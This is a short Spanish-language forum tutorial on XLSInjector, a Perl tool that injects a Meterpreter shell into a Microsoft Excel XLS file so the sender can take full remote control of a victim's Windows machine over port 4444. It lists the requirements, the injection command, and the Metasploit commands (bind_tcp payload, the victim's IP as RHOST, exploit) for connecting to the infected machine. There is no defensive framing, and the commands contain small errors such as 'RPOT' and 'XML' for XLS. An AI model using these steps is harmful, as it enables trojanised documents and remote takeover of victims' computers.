Es una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.
Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:
* Una Maquina (virtual o real) con Windows
* Microsoft Excel
* Perl
* El modulo Win32:OLE para Perl
* Un archivo XML a infectar
* El [Enlace externo eliminado para invitados]
* y por ultimo el Metasploit Framework
Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:
Código: Seleccionar todo
perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls
Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework
iniciamos la consola del metasploit:
Código: Seleccionar todo
set payload windows/meterpreter/bind_tcp
set RHOST ipdelpcvictima
set RPOT 4444
exploit